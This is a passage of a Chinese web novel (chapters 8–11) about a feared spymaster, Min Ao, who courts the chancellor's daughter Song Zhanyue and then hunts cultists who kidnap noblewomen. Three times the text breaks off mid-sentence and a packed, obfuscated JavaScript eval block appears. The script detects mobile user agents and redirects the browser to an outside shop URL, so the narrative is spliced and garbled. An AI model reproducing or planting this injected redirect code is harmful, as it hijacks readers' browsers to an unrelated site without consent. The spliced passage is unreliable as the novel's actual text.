却见督主端坐在书案后,神色未变,似乎并未将他的长篇大论听进去多少,而是持一支青金石为饰的狼毫笔,在铺开的洒金笺上,缓缓写下两行字。 写完后,他又吩咐随从拿来一个素雅却质地上乘的玉版宣信封,仔细将信塞入,蜡封,这才抬眼扫过来。 “你把她喜欢看的几本书,与这封信一并,用红炉点雪的名义送去相府。” 范凌赶忙接过,心道这宋姑娘要是知道自己频频接触的‘闵掌柜’,实则是她笔下痛骂、心中最憎恶的‘佞臣’本尊,不知会作何表情。 这般想着,嘴角不自觉露出一丝促狭的笑意,抬起头,恰好撞入闵敖那双深潭般的灰黑色眼眸里。 那眼神平静无波,却似能洞穿人心底最细微的波澜。他心头猛地一跳,脸上笑意瞬间僵住。 “你在笑什么?” “属下……想到了些高兴的事。” “什么高兴的事?”闵敖站起身,黑袍下摆随着动作划开一道冷冽的弧线,缓步走近。 范凌敛了敛神色,重新挂上那副惯常的笑:“属下是为督主高兴。” “宋姑娘才华横溢,容貌倾城,性情又颇有风骨。督主如此费心,又是赠礼又是亲笔信笺,这般细致周全,天长日久,宋姑娘那颗七窍玲珑心,岂能不为之所动?” “你现在,愈发会说话了。” “托我家内子的福,”范凌立刻换上一副苦哈哈又带点炫耀的神情,“我家那个,看着温顺,实则性子拧得很,时不时就要闹点小别扭。” “这不,为了哄她高兴,察言观色、揣摩心意的本事,属下都给练出来了。用在正事上,也算物尽其用。” 闵敖笑睇着他,从身旁多宝格的锦盒中取出一物,随手一掷,精准地落入范凌怀中,“赏你了,给你家‘拧性子’的内子添件首饰。” “谢督主。”范凌嘿嘿一笑,将玉佩小心收好,躬身退下办事去了。 这厢。 在红炉点雪没见到闵掌柜的宋展月看了会书后,便打道回府。 到了第二天下午,申时初。 正在房中临摹一幅古画时,春苗从外间快步进来禀报,说门房收了份礼,指名是给小姐。 这话令她一头雾水,左右不是节日,谁会给她送礼? 待仆从将一只尺余见方的紫檀木雕花匣子抬进来,放在桌上。 她打开一看,里面是整整齐齐码放的数卷古籍,皆是珍本善本,甚至有两本是她寻觅已久却不得的。 而匣子最底下,静静躺着一封素白信笺。 这是? 满腹疑惑的她赶紧将信拆开,上面只有短短的两行字,却笔力千钧。 闻君雅好,偶得数卷,或可佐清茶。 画题不必拘泥,若论风骨,墨竹足矣。 ——红炉客闵。 8. 第 8 章 这居然是红炉点雪的闵掌柜送来的! 意识到这点的宋展月,心尖像是被什么轻轻撞了一下,泛起讶异的涟漪。 她从未透露过自己的家世,对方是怎么知晓她是丞相之女的? 不过,转念一想,从这位闵掌柜的手笔与红炉点雪的格局来看,他绝非寻常商贾,背后人脉深不可测。 或许对他而言,打听到一位常客的身份,不过是举手之劳。 她缓缓坐了下来,看着“红炉客闵”那四个字,眸色复杂。 思索片刻后,唤春苗取来笔墨,在他信笺下方留白处,续上两句话: 厚礼愧领,实不敢受。 墨竹有期,当不负雅意。 ——宋氏女谨复。 写完后,她拿起信笺,对着光仔细看了一遍,确认墨迹已干,言辞无误,晾干之后重新装入匣子,唤来自己的跑腿小厮,命他把紫檀木匣原封不动地送回红炉点雪。 “小姐,厨房新做的藕粉桂花糖糕,您尝尝?” 春苗的话让宋展月回过神,她心不在焉地拿起一块尝了尝。 墨竹她素来画得极多,竹子中通外直,不蔓不枝,竟与那人给她的感觉十分相似,皆带着一股难以言喻的矜贵。 来到自己专门作画的书房,宋展月铺好特制的画毡,凝神静气,于纸上勾勒,画出多幅小稿。 有丛竹、有孤竹、有风竹、有晴竹。 每画一幅,便悬于壁上看上半晌,却总觉笔意流于表面。 如此来回数日,废稿堆积,都觉不妥,总觉得未能触及心中那个模糊的意象——那个既孤直清冷,又似乎隐含某种内敛力量的感觉。 日子流逝,临近端午的几天下了几场雨。 宋展月于府中漫步,见雨后初霁,阳光穿透云层,照亮假山后那片被雨水洗得青翠欲滴的苗竹,竹身挺拔,竹叶上水珠未滴,于光影间折射出清冷又生机勃勃的辉光。 灵感忽至。 她赶紧回到书房,铺开玉版宣,闭目回想片刻,再睁眼时,眸中一片澄明,提笔便画。 端午节,皇帝按例广邀群臣。 宫中的太液池畔,丝竹声悠扬,殿内悬挂艾草菖蒲,御膳有各式精巧粽子,酒水也换上了应节的蒲酒与雄黄酒。 酒过三巡,皇帝面露疲态,在皇后的搀扶下提前离场,留下一句“众卿自便”就离开了。 宋文正寻了个机会,举杯向誉王敬酒,并告知,画已完成,明日便遣人送至王府。 誉王含笑应下,两人又就朝中风物闲谈几句,一派融洽。 就在此时,闵敖从侧殿的阴影中缓步走出,大殿中的人目及他的身影,谈笑声都不自觉地压低了几分,目光或敬畏或忌惮地追随。 一直周旋在宗室重臣之间的誉王,手持酒杯,眼神在闵敖的身上停留一瞬,随即漾开笑容,举步迎了上去。 “闵督主,这蒲酒性温,据说活血通络,于旧伤或有裨益,不比那烈性雄黄。本王敬你一杯,愿督主为国操劳之余,玉体安康。” 闵敖举杯回敬,语气平淡无波:“谢殿下关怀。旧疾沉疴,不足挂齿。殿下雅意,臣感念。” “督主过谦。越是沉疴,越需静养。”誉王上前半步,淡笑道,“说来也巧,本王新得了一幅前朝名医的手札,其中恰有调理陈年箭伤的篇章。” “督主若得空,不如明日本王府中一叙,共赏此卷,或于督主康健有所裨益。” 闵敖眸色未动,只将杯中酒饮尽,道:“殿下厚爱,臣心领。只是手札珍贵,殿下可命人誊抄一份送至臣处即可,不敢劳动殿下与真迹。” 对于这番婉拒,赵和钧早有预料。 毕竟此前,他数次遣人以鉴赏书画、品评新茶等风雅由头相邀,皆被闵敖以“伤疾静养”或“公务缠身”为由,不着痕迹地推拒了。 他近前半步:“督主恪尽职守,实乃百官楷模。” “此番相邀,一为手札,二则是府中书斋新落,正想寻些山水清趣之物以怡情。” “听闻宋相千金画意高洁,已向她求了一幅。想邀请督主这般见识广博之人,一同品评其中意境。” 闵敖持杯的手顿了顿,灰黑色的眸子深处,似有冰层下的暗流涌动了一瞬。 沉默片刻,就在赵和钧笑意微凝,以为又要被拒之时,闵敖微微勾唇,缓缓开口。 “殿下既如此盛情,恭敬不如从命。” 誉王眼中笑意真切了几分,举杯相邀:“那明日申时,本王于府中扫榻相迎。” 月上枝头,宫宴渐散。 闵敖从宫门出来,外面是候着的狮牙卫玄黑车驾。 车厢两侧狰狞的狮首图案,在宫灯映照下气势骇人,路过的官员纷纷垂目避让,不敢直视。 范凌立在车旁等候,见督主面色沉静,步履如常地走来,他赶忙躬身,无声地掀起车帘。 上车后。 玄黑车驾驶离宫门,融入夜色。 车厢内,只余车轮碾过石板的单调声响。 “督主,”范凌斟酌着开口,“誉王近日一切如常,明日邀约,或许也只是如往常般的风雅拉拢。” 闵敖正阖目养神,闻言,并未睁眼,只从喉间溢出一声极轻的、辨不出情绪的“嗯”。 范凌识趣地住了口,知道督主自有决断。 “对了,”他又想起一事,语气稍松,“宋姑娘连日闭门,那幅墨竹……似已近完成。” 一直在膝上轻叩的指尖几不可察地顿了顿,闵敖仍未睁眼,只微微颔首。 自那日宋姑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17201875|197219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘将厚礼原封不动还回来后,督主虽面上不显,但周身气压低得吓人,连潮狱的犯人都跟着多吃了两轮刑。 范凌心下一转,笑着补充道:“听‘影子’说,宋姑娘为这幅墨竹费心费力,废稿堆了一篓子,很是精益求精。可见对督主所托,是极其上心的。” “更何况,督主风仪峻整,气度超然,乃是京中多少高门都想联姻的乘龙快婿。宋姑娘年纪尚小,一时矜持也是有的,前日退礼,不过是女孩家心性,欲迎还拒罢了。待时日久了,自然知晓督主的好。” 闵敖终于掀开眼帘,灰黑色的眸子里映着窗外流动的灯火,似笑非笑地瞥了他一眼。 “鬼话连篇。” 范凌嘿嘿一笑,面不改色:“属下只是实话实说。” 他当然知道自己是在胡扯。可有什么办法呢? 自打盯上那位宋姑娘,督主这心绪就跟六月的天似的,一会儿因为人家退礼阴云密布,一会儿听说人家认真作画又云开雾散。 不由在心里默默叹了口气。 这情形他熟啊,跟他家内子闹别扭时一个样,嘴上不说,全身上下每个毛孔都在较劲。 但要命的是,人家宋姑娘心里头,怕是正把“闵督主”本人恨得牙痒痒呢。 这事儿啊,且有的磨。 翌日。 一袭玄色云纹常服的闵敖,于申时准点抵达誉王府。 王府坐落在皇城东侧最显贵的坊间,朱门高阔,石狮威严。 从正门进去,内里却并非一味奢华,庭园布局清雅开阔,引活水成池,叠石为山,颇有几分文人雅士的意趣。 他在王府长史的带路下,穿廊过院,来到临水的敞轩。 轩内已备好清茶几案,赵和钧一身家常的宝蓝锦袍,正负手赏看池中游鱼,见闵敖到来,含笑相迎。 二人敬茶过后,略作寒暄,赵和钧拿出那卷名医手札真迹,闵敖看了片刻,颔首道谢。 轩内一时静默,唯有煮水的咕嘟声与远处隐约的丝竹声。 闵敖默然品茶,静待下文。 果不其然,片刻后,赵和钧放下茶盏,笑容温煦如故,眼神却深了几分。 “听闻督主勤于王事,夙夜在公,后院一直空悬,恰巧,前几日有西域商队献上两位塞外美人,肌肤胜雪,眸似碧湖,更兼能歌善舞,性情温婉,最是解语。” “本王想着,如此佳人,若赠予督主,红袖添香,或可稍解案牍劳形,不知督主意下如何?” 话音刚落。 一阵沁人心脾的异香忽而飘至。 两个衣着清凉、身披轻纱的女子飘飘然从屏风后翩跹而出,一左一右欲坐在闵敖身侧。 她们的纤纤玉手,带着温热的香气,直接便要攀附上他的手臂与脖颈。 9. 第 9 章 电光石火间—— 周遭的空气仿佛无声凝滞。 闵敖没有转头,只是将手中把玩的茶盏,不轻不重地往桌上一顿。 “叮”的一声脆响,并不响亮,却带着不容置疑的冷意,周身散发出一股凛冬将至的气场。 那两名女子伸出的手,硬生生僵在了半空,进不得,退不得,脸上娇媚的笑容也变得尴尬。 闵敖这才缓缓抬眼,目光掠过那两名女子,最终落在笑容微僵的赵和钧脸上。 “殿下美意,臣心领了。”他的神情平静无波,甚至唇角还噙着一丝极淡的、难以捉摸的弧度,仿佛刚才的冷场并未发生。 “只是臣心中已有所属,再美的佳人,于臣眼中也不过是枯木顽石,不敢唐突,亦不忍耽误。” “哦?”赵和钧轻轻挥手,两女子识趣地后退两步,垂首敛目,悄无声息地侍立在他身后。 “不知是何等举世无双的佳人,竟能令督主如此倾心?” 闵敖垂下眼帘,指尖摩挲着温热的杯壁。 “臣心仪的那位姑娘年纪尚小,心性单纯,最是不喜这些迎来送往、香粉俗艳之事。臣既倾心于她,便当洁身自好,以全其喜。殿下的厚赐,臣是万万不敢受了,还请殿下见谅。” 赵和钧朗声一笑,起身拍了拍掌,“好!督主用情至深,倒显得本王这礼物送得俗气了。” 他踱步至窗边,背对着闵敖,心中念头飞转。 这些年,闵敖一向洁身自好,多少高门想往他后院塞人,皆不可得,没想到今日竟亲耳听他说心有所属。 那人是谁?是京中女子?还是…… 他本欲追问,但闵敖此人,心机深沉,断不可能跟他推心置腹。 这“意中人”之说,是真情流露,还是又一个滴水不漏的推托之词? 思至此,他转过身,脸上已恢复了惯常的温雅笑意,顺手牵起离他较近那女子的手,将她往自己怀中一带。 “罢了,既然督主心有所属,本王便不强人所难了。”他低头对女子笑道,指尖轻佻起她的下巴,“美人如玉,岂能辜负?留在本王身边,做个解闷的通房吧。” 闵敖看了他一眼,淡淡道:“殿下书斋新落,想来已经挂上那幅点睛之作了?” 正与美人调笑的赵和钧动作微顿,回了神。 他松开女子,笑容里多了几分真实的得意。 二人来到新落成的书斋正厅。 只见那墙上,一幅青绿山水画已然悬于主位。 画中远山含黛,近水潆洄,笔触细腻清雅,尤其山间那抹若有若无的青翠,正是用‘琅嬛青’点染而成,在光线下流转着独特的光泽。 “宋相千金的画,笔力清绝,意境高远,督主请看,这设色,这笔意,可还入眼?” 闵敖背手而立,面对着那幅画,仔细掠过每一处细节——那是他赠的颜料,那是她为另一个男人耗费的心血。 他唇角似乎噙着一丝极淡的、欣赏般的弧度,眉宇间却凝着化不开的寒霜,双眸更是深不见底,无丝毫暖意,只有一片冰冷的墨色。 离开时,他步履平稳地走出王府大门,一步,一步走向等候的马车,黑衣暗卫从街角的阴影中无声出现。 闵敖停下脚步,转过身,身后新落成的书斋正映着天光,倒影在他的眉眼。 “烧。” “是!”暗卫领命,身形再度没入黑暗。 当夜,誉王府新落成的书斋突发大火,火势迅猛异常,待扑灭时,内里陈设连同那幅崭新的山水画,尽数化为焦黑灰烬。 消息传到宋府时,宋展月手中的羊毫笔“啪嗒”一声落在宣纸上,洇开一团突兀的墨迹。 她怔住了,一时竟不知该作何反应。 就这么没了? 她可是画了好些时日呢? “怎么会这样?” 兄长宋辞渊摇了摇头:“听说是天干物燥,值守的下人疏忽,烛台倒了引燃了帐幔。誉王殿下震怒,处置了好几个下人。可惜了小妹你一番心血。” “对了,明日安平公主在京郊沁芳园举办的牡丹花会,你不是要和浣溪同去么?”宋辞渊转移话题,“东西都收拾妥当了?母亲说此行女眷众多,还要住上一晚,让你多带些人。” “嗯,已经都安排好了。” 安平公主是陛下的胞妹,地位尊崇,素来喜爱热闹雅事,与皇后、也就是蒋浣溪的姐姐关系也颇为亲厚,几乎每年五月牡丹盛开时节,都会在城外的沁芳园组织一场盛大的花会,遍邀京中有头有脸的贵女。 此乃京城女眷夏日里最重要的雅集之一,既为赏花,也为让各家女儿们有个相聚交际的由头。 送走兄长,宋展月并未立刻歇下,而是走到书案旁,再次展开那幅已经完成的《墨竹图》。 画中墨色浓淡相宜,几竿青竹于嶙峋怪石旁拔节而起,枝叶疏朗,风骨凛然。 仔细确认没有问题后,她让书房的小厮把画仔细卷好,送去府里惯用的裱糊铺子,用素雅些的绫绢和紫檀木轴头裱好。 只待从沁芳园归来,便将此画赠予闵掌柜,也算了却一桩心事。 次日清晨,宋展月换上母亲特意准备的淡紫缕金芍药纹的春衫,发间簪了支白玉嵌紫晶的步摇,既不失身份,又不会过于招摇。 她登上宋府那辆悬着“相府”灯笼的青帷马车,带着丫鬟春苗、两名婆子与四名护卫,一路往城门而去。 与蒋浣溪等几家相熟贵女的车队汇合后,便逶迤出城,往京郊沁芳园行去。 抵达时,已将近午时。 宋展月先是与蒋浣溪一同向安平公主行礼问安,才由女官引着,到临水精舍稍作休整,净手更衣,最后随着引路的侍女,前往设在水榭的筵席处用膳。 整个园子,花香馥郁,沁人心脾。 水榭四面垂着轻纱,既挡了稍显灼人的日头,又将园中盛放的魏紫、姚黄、赵粉、豆绿等各色名品牡丹影影绰绰地映了进来,宛如置身画中。 午后,安平公主点名几位贵女当众献艺。 抚琴、题字各有风姿,轮到宋展月时,公主含笑命她以满园牡丹为题作画。 宋展月略一福礼,提笔便画。 笔锋游走间,不见一朵具象牡丹,只以泼墨写意之法,在宣纸上染出一片氤氲朦胧、如烟似霞的墨底;再以极细狼毫,于墨色深处勾勒几枝遒劲枝干,最后用少许琅嬛青与淡赭,点出三两簇含苞待放、姿态各异的牡丹花蕾。 整幅画重意不重形 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17201876|197219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,贵在气韵。 那花蕾似在烟雨中静待绽放,于繁华之中,透出一抹清冷孤峭。 画成之时,满座寂然片刻,随即低低惊叹四起。 安平公主亲自起身近前观赏,抚掌赞叹。 众人早知宋展月才名,今日亲见其笔下境界,仍不免暗暗称奇。 这“京中第一才女”之称,果真名不虚传。 画作被公主命人收起,晚宴时,有精心排演的歌舞助兴,直至月上中天,众人才尽兴而散。 宋展月和蒋浣溪手挽手,沿着被月色浸染的碎石小径慢慢散步。 天空澄明,月色皎洁,园路幽静,只闻虫鸣细细,鼻尖是夜风送来的、比白日更显清冽的牡丹花香。 见蒋浣溪几次侧脸看她,一副欲言又止的模样,宋展月主动停下脚步,拉着她在白石凳坐下,轻声问:“你怎么了?是有什么话要同我说吗?” 蒋浣溪咬了咬唇,终于低声道:“月儿,前些日子我入宫请安时,姐姐问起你了……” 皇后娘娘竟会念起她来?宋展月心下讶异,只见蒋浣溪眼神带着几分困惑:“月儿,你、你是不是真的要嫁给誉王殿下了?现在外面都这么传。” “……父母确有此意。” 她能理解蒋浣溪的迟疑与复杂,毕竟浣溪是皇后娘娘的嫡亲妹妹。 但婚姻之事,终究是父母之命媒妁之言。 作为丞相之女,她的婚事,从来就与家族的前途紧密挂钩。 喜欢与否,个人意愿,在家族利益面前,轻如鸿毛。 见她默认,蒋浣溪脸上露出惋惜又无奈的神色,低低叹了口气:“可惜了,要不是因为我们蒋家这一脉,与你年纪相仿的嫡出子弟都已婚配,庶出的又实在配不上你,不然,我真想让你嫁来我们蒋家,做我真正的嫂嫂。咱们便能一直在一起了。” 她这话说得真诚,带着少女天真的遗憾,宋展月心中感动,却也只能握住她的手,轻声道:“傻话。便是嫁了人,你我难道就不是姐妹了?” 二人又就着月色说了些体己话,说说笑笑绕回住处,这才各自回房歇下。 到了第二日。 上午的活动是在园中的莲池放生锦鲤。 下午则是安平公主主持的辞别宴。 大家略饮了几杯饯行酒,说了些祝福的话,车队便陆续启程,踏上了回京的路。 宋展月的车驾紧随蒋浣溪之后,其余官家小姐的车马依次列队,众人陆续驶出沁芳园,沿官道行去,排成一条蜿蜒车龙。 午后暖阳透过车帘缝隙洒入,暖意融融。 谁知,变故陡生! 行至一处两侧山势渐起、林木幽深的隘口,陡然传来“嗖嗖”数声箭矢破空之声,紧接着便是马匹凄厉嘶鸣、轰然倒地的巨响。 “有埋伏!”护卫厉声惊呼。 宋展月尚未从颠簸中回神,车厢帘幕已被人猛地掀开。一名黑衣蒙面壮汉探身而入,一把攥住她的胳膊。 “啊——” 她惊惶挣扎,仍被粗暴地拽出车厢。抬眼望去,山道之上已是一片混乱。 蒋家马车已然倾覆,蒋浣溪正被另一名黑衣人强行拖出;其余贵女车驾旁,亦尽是同装束的黑衣人在肆意掳人。 10. 第 10 章 西山别院。 天光尚未大亮,数道黑影自不同方向同时翻越高墙,意图潜入庭院。 与此前在途中设伏或于督主府外行刺不同,这是刺客们头一回如此明目张胆、不计代价地强攻闵敖的起居核心。 厮杀声瞬间打破了山间清晨的宁静。 闵敖立于别院主楼二层的廊下,身着玄色劲装,未佩玉冠,墨发以一根简单的乌木簪束起。 他面色沉冷如冰,看着庭院中与护卫们扭打在一起的黑衣人。 这些人招式狠辣,配合默契,进退有度,全然不似寻常江湖亡命之徒,倒更像精心训练多年的杀手。 他们目标明确,分出数人缠住院中护卫,另有三人结成三角阵型,直扑他所在的主楼。 闵敖眯了眯眼,并未呼喝更多护卫,而是反手从廊柱旁的剑架上抽出一柄古朴长剑,身形一动,自二楼廊下飞身掠下,直直落入那三人组成的杀阵中心。 他动作凌厉,剑招行云流水。 一人入阵,却如虎入羊群,剑光过处,血花飞溅,那严密的三角阵型瞬间被撕开一道缺口。 剑势不停,他反手格开劈来的毒刀,顺势一削,便是一人腕断;侧身避过直刺,剑尖没入另一人咽喉。 转眼间,三人已倒地两人,剩下一人被他一脚踹中膝弯,跪倒在地,手中兵刃也被挑飞。 他剑尖微垂,抵住那人下颌,逼他仰头,声音冷得毫无半分人气:“说,是谁命你来杀本督?” 那刺客眼神狠戾,紧抿双唇,一言不发。 闵敖手腕轻抖,剑光乍闪—— 先一剑刺入他肩胛骨,随即以剑脊重重拍击其后背。 鲜血自刺客口中狂喷而出! “呃啊。”剧痛令他面目扭曲。 “本督耐心有限。”闵敖的剑尖移到了他的另一侧肩胛,“你有四肢,有五官。我们可以慢慢来。” 那人奄奄一息,却仍目眦欲裂地瞪着闵敖,眼神里混杂着无尽的仇恨、绝望,以及一种近乎狂热的决绝。 如此熟悉的眼神,令闵敖脑海中一闪而过什么。 最终,那人喉头剧烈滚动,嘴角溢出一缕黑血,竟是不知何时已咬破舌底毒囊,当场气绝身亡。 整个山腰重归于静,只余浓郁的血腥气在晨风中弥漫。 不会武的范凌,一边擦着额头上的冷汗,一边从旁的垂花门快步走出,来到闵敖跟前,压低声音急道: “督主,今日刺杀来得蹊跷,人数众多,攻势疯狂,全然不计代价,这不像绝杀,倒像故意要将您拖在此地,消耗您身边的人手与精力。依属下看,只怕这是调虎离山。” 之前那些刺杀虽然烦人,但多是试探骚扰,每隔三四日来一次,一击不中便退。 今日却如此疯狂、密集,前赴后继,若非倾巢而出,便是另有所图。 思来想去,唯有这解释最为合理。 显然,闵敖也早已想到了这一点。 他面色阴沉,将沾了血的长剑随手抛给一旁的护卫,接着迈步便朝马厩方向走去,准备亲自带人下山查看。 然而,他刚走出两步,却见一个浑身浴血、步履踉跄的黑衣人自山下小径疾奔而来——正是他安排跟在宋展月身边的‘影子’。 来人神色惊惶,胸前狰狞的伤口仍在渗血,见到闵敖,如同见到救命稻草,直接扑通一声重重跪倒在地,嘶声道: “督主!宋姑娘、宋姑娘她们在从沁芳园回京的路上,于山道遭遇大队人马伏击!对方有备而来,手段狠辣,属下拼死突围来报,但、但宋姑娘与其他贵女,已尽数被掳走了!” - 此事传回京城时,举朝震惊。 二十三位出身显赫的贵女,其中更有左相之女、皇后亲妹,竟在京郊官道被一并掳走。 绑匪勒令朝廷三日内,无条件释放被狮牙卫关押在潮狱的净世白羽教教主,否则便要让众女香消玉殒、玉石俱焚。 净世白羽教乃流传百年的邪教,其教义宣扬所谓‘净世’之说,声称尘世污浊,需以鲜血净化。 历任教主均为女子,自称能通神谕,奉行活祭、敛财之术,蛊惑人心,聚拢信众,行事狠辣。 早年,此教在江南一带兴风作浪,妖言惑众,聚敛巨额钱财,更屡犯拐卖妇孺、活人祭神之恶,致使当地百姓谈之色变,苦不堪言。 十年前,狮牙卫精锐千里奔袭,一举剿灭总坛,教主“白羽仙姑”瑶欲坠崖身死。 没想到十年过去,此教竟卷土重来,以满城贵女为质,公然要挟朝廷。 御书房内。 皇帝震怒,严斥京兆尹、五城兵马司疏于防范,革职待参;并急召狮牙卫督主闵敖、禁军统领等重臣入宫议事。 誉王赵和钧率先出列:“父皇,此獠猖狂至此,若不雷霆剿灭,我朝颜面何存?儿臣愿亲率府兵,并请调京营精锐,即刻封山搜救,定将诸位妹妹安然寻回,将贼人碎尸万段!” 而闵敖,自始至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17201877|197219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 终立于殿中阴影处,面色沉静如渊。 “妖贼喊话,要净世白羽教的教主。朕记得清楚,十年前教主坠崖身亡,尸骨无存!” 皇帝气得咳嗽不止,双目赤红:“如今这‘教主’从何而来?闵敖!” 闵敖出列,声音平稳清晰: “陛下明鉴。臣当年奉旨剿匪,教主瑶欲中箭落崖,涧水湍急,深不见底,绝无生理。事后亦寻得残破信物及核心教众指认,方敢以伏诛上奏天听。” “臣以为,此乃贼人奸计。一则,可借已死之人名号,蛊惑人心,聚拢旧部;二则,此言一出,朝野必疑,恰可动摇陛下对臣、对狮牙卫的信任,其心可诛。” “依臣之见,匪首真假不论,其‘挟贵女以令朝廷’之实已现。当务之急,乃雷霆搜救,剿灭匪患,而非纠缠于一已死妖妇名号真假,徒乱我方寸,正中贼人下怀。” 踏出御书房,廊下已候着好些闻讯赶来的官员,皆是家中女眷被掳的苦主。 他们见闵敖出来,眼神复杂。 既怒他身为情报头子却让贼人在京畿重地做出如此大案,害自家女儿身陷险境;可眼下救人之事又不得不仰赖狮牙卫的手段,不敢真的将他得罪死了。 于是只得强压怒火,围上前来,言辞急切却又不敢过分逼迫地打探消息。 他们不懂。 那净世白羽教的教主不是十年前就被闵敖杀了吗? 怎么如今又冒出个“教主”来要挟? 左相宋文正亦在列。他官袍整肃,面色是前所未有的灰败与紧绷。 他并未如其他官员般急切追问,只是隔着几步距离,对闵敖沉沉一揖,声音干涩:“……小女性命,拜托督主了。” 闵敖并未避开宋相这一礼,但也没有上前搀扶,只侧身受了半礼,随即微微颔首。 “宋相言重。护卫京畿,缉拿凶顽,本就是狮牙卫分内之责。” 随即,他顿了顿。 “今晨西山别院亦遭死士强袭,手段与绑架案如出一辙。贼人布局周密,蓄谋已久,非一日之功。本督已命麾下尽出,循迹追索。相爷与诸位大人,且稍安,静候。” 此言一出,众人皆惊,纷纷交头接耳。 闵敖不再多言,只对宋相及众人略一颔首,便在一众黑衣狮牙卫的簇拥下,迈步离开。 既然绑匪所图,是释放净世白羽教的教主。 那么这个被他秘密囚禁了十年的邪教魔头,便成了眼前事端的突破口。 11. 第 11 章 潮狱深处。 池水之下,暗影游弋,仔细看去,全是细长如绳的毒蛇,不时浮出水面吐信子。 一个形如枯槁的女人被数根沉重锁链穿过肩胛与脚踝,半悬吊在水池上方,只有脚尖能勉强触及水面,保持着一种永无休止的折磨姿势。 听到沉稳的脚步声由远及近,最终停在水池边,她极其缓慢地抬起头,望向那抹身影。 “闵敖……” 瑶欲的声音嘶哑难听。 没有人知道,当年那个风光无限的“白羽仙姑”瑶欲,被闵敖用一具替身尸首瞒天过海,秘密囚禁在这不见天日的潮狱最底层,已整整十年。 闵敖开门见山。 “你的人为了救你,绑了二十三位贵女,要挟朝廷。” 此言一出。 瑶欲的眼中快速掠过不可置信,随即被癫狂的喜悦取代,她歇斯底里地大笑起来,锁链随着她的狂笑哗啦作响,惊得池中毒蛇都窜动不已。 “哈哈哈……抓得好!抓得好啊!你用我圣教的覆灭,换你官运亨通,权势滔天。如今,我的孩子们要接我出去了!你的报应来了!” 闵敖灰黑色的眼眸映出墙壁上跳跃的火光,唇角勾起极淡的弧度,仿佛听到了一个有趣的笑话。 “是么。” “那这样如何?” “他们每伤一位贵女,本督便在你身上取一物。她们若死一人,本督便让你尝一遍潮狱三百六十五道刑罚,循环往复,直至你求死不能。” 瑶欲的笑声戛然而止。 她死死盯着闵敖,眼中充满了刻骨的恨意,但更多的是一种笃定。 “不……你不会杀我的,你把我关在这里却没有杀了我,是因为你想要的东西还没得到,你怎么会让我死?” 闵敖不再看她,缓缓转身而出。 从他进来到现在,瑶欲的反应癫狂而真实,对他所说之事确不知情,他懒得再费口舌。 不过这次这件事,倒是让他确定,净世白羽教肯定还有另一名操控者。 十年前,他率狮牙卫剿灭总坛时,虽然擒获了教主瑶欲,但传闻中的‘圣女情渊’却离奇失踪,生不见人死不见尸。 如今,这计划周密的绑架案,算是确认了那位圣女的存在。 要不然,这么大规模的伏击、敢直接要挟朝廷的气魄,不可能无人在背后统一调度和策划。 回到督主府。 此刻已是月上中天,府内灯火通明。 忙得一头汗的范凌见到主心骨回来,急切道:“督主,绑匪传信,三日后在落霞山以所有贵女交换教主,逾期不候。” “如今,誉王亲自带大队人马封锁了落霞山,正一寸一寸地搜。属下遣人暗中跟在他身边,以及时获取他们的一切进展。” 誉王这会之所以会这么卖力,甚至不惜以身犯险亲临一线,就是想将救人的功劳牢牢抓在自己手中。 事若成了,他便是力挽狂澜的英雄,既能收买一众高官之心,又能狠狠压狮牙卫一头,更能坐实其‘贤能’之名,可谓一箭三雕。 闵敖听后一语不发,走到主位坐下,缓慢地转动左手拇指上那枚玄铁扳指。 见状,范凌咽了口唾沫,没再说话。那宋姑娘现在下落不明、生死未卜,想必督主此刻心里比谁都焦灼,只是从不外露。 恰在此时,一名匆匆入内禀报的狮牙卫路过桌案时,不慎带倒了桌面上的青铜烛台。 滚落的火苗瞬间吞噬了散落的纸张,在桌面上窜起一团明晃晃的火焰。 众人吓得魂飞魄散,赶紧手忙脚乱地扑打、用茶盏泼水,那闯祸的狮牙卫更是当即跪在地上瑟瑟发抖,连请罪的话都说不出来。 闵敖的反应,远比所有人都要剧烈。 就在火焰窜起的刹那,他猛地自椅中弹起,疾退两步,脸色惨白如纸,瞳孔急剧收缩。 他死死盯着那团跃动的火光,呼吸骤然粗重压抑,扶在椅背上的手青筋暴起,指节攥得发白。 “滚!都给本督滚出去!立刻!马上!” 这声暴喝吓得范凌一哆嗦,冷汗瞬间湿透了后背的衣衫,“没听见督主的命令吗?都出去,快,把火灭了。” 狮牙卫上上下下都知道。 督主不喜火,同时又最讨厌黑暗。 是以入夜之后,督主所至之处,必定灯火通明。 但所有灯烛皆须罩以厚重灯罩,或置于稳妥灯台,并有专人定时巡查,半分火星亦不许溅出。 今日这意外,是触了阎王逆鳞了。 好半晌过去。 